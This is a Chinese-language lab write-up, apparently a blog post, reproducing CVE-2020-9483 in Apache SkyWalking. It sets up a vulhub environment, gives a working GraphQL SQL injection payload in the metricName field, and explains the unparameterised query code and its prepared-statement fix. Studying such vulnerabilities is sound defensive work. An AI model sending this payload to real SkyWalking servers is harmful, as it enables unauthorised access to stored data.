CVE-2020-9483 apache skywalking SQL注入漏洞

漏洞概述

当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。 Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。

环境搭建

拉取vulhub

shell 复制代码
git clone https://github.com/vulhub/vulhub.git

搭建镜像

shell 复制代码
cd /vulhub/skywalking/8.3.0-sqli
docker-compose up -d

访问8080端口

漏洞复现

在首页刷新即可抓到报文。

输入payload

复制代码
{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
                        "endpointId":"1",
                    "traceId":"1",
                    "state":"ALL",
                    "stateCode":"1",
            "paging":{
                "pageSize":10
            }
        }
    }
}

查看返回结果

漏洞复现成功

漏洞原理

源码:https://github.com/apache/skywalking/releases/tag/v8.3.0

graphql是skywalking的一种查询协议,如果请求以下列JSON给出:

复制代码
{
  bookById(id: "book-1"){
    id
    name
    pageCount
    author {
      firstName
      lastName
    }
  }
}

则返回结果为:

复制代码
{
  "bookById": {
    "id":"book-1",
    "name":"Harry Potter and the Philosopher's Stone",
    "pageCount":223,
    "author": {
      "firstName":"Joanne",
      "lastName":"Rowling"
    }
  }
}

通常,graphql中会对对象类型进行定义:

复制代码
type Query {
  bookById(id: ID): Book
}

type Book {
  id: ID
  name: String
  pageCount: Int
  author: Author
}

type Author {
  id: ID
  firstName: String
  lastName: String
}

此次产生漏洞的queryLogs为:

oap-server\server-query-plugin\query-graphql-plugin\src\main\resources\query-protocol\log.graphqls:

(这里不知道为什么下载的源码中没有,只能跑到github上看)

oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java

oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java

采取了直接拼接的方式。

5、修复方法

修复后使用了占位符,即预编译。

相关推荐
DemonAvenger24 分钟前
MySQL海量数据快速导入导出技巧:从实战到优化
数据库·mysql·性能优化
薛定谔的算法17 小时前
phoneGPT:构建专业领域的检索增强型智能问答系统
前端·数据库·后端
Databend18 小时前
Databend 亮相 RustChinaConf 2025,分享基于 Rust 构建商业化数仓平台的探索
数据库
得物技术19 小时前
破解gh-ost变更导致MySQL表膨胀之谜|得物技术
数据库·后端·mysql
Raymond运维1 天前
MariaDB源码编译安装(二)
运维·数据库·mariadb
沢田纲吉1 天前
🗄️ MySQL 表操作全面指南
数据库·后端·mysql
RestCloud2 天前
SQL Server到Hive:批处理ETL性能提升30%的实战经验
数据库·api
RestCloud2 天前
为什么说零代码 ETL 是未来趋势?
数据库·api
ClouGence2 天前
CloudCanal + Paimon + SelectDB 从 0 到 1 构建实时湖仓
数据库
DemonAvenger2 天前
NoSQL与MySQL混合架构设计:从入门到实战的最佳实践
数据库·mysql·性能优化